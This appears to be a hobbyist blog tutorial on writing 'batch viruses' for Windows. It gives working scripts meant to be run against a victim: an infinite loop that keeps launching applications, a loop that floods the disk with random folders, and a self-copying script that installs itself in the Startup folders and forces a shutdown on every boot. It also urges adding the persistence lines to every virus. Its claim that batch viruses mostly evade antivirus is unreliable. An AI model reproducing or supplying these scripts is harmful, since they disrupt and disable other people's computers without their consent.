How Dangerous Could a Batch File be. (How to create own viruses?)

Hi friends, today I could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready. But instead of that, we have focused on making the basics of batch files clear and developing the approach to code your own viruses.

What are Batch Files?
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'

Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat

Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file
So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?
They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.
Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes. 

1. Application Bomber
@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and of course affecting performance.

2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x
 
Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

 

3.Shutdown Virus  
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

Note : Most of the batch viruses are simply undetectable by any antiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.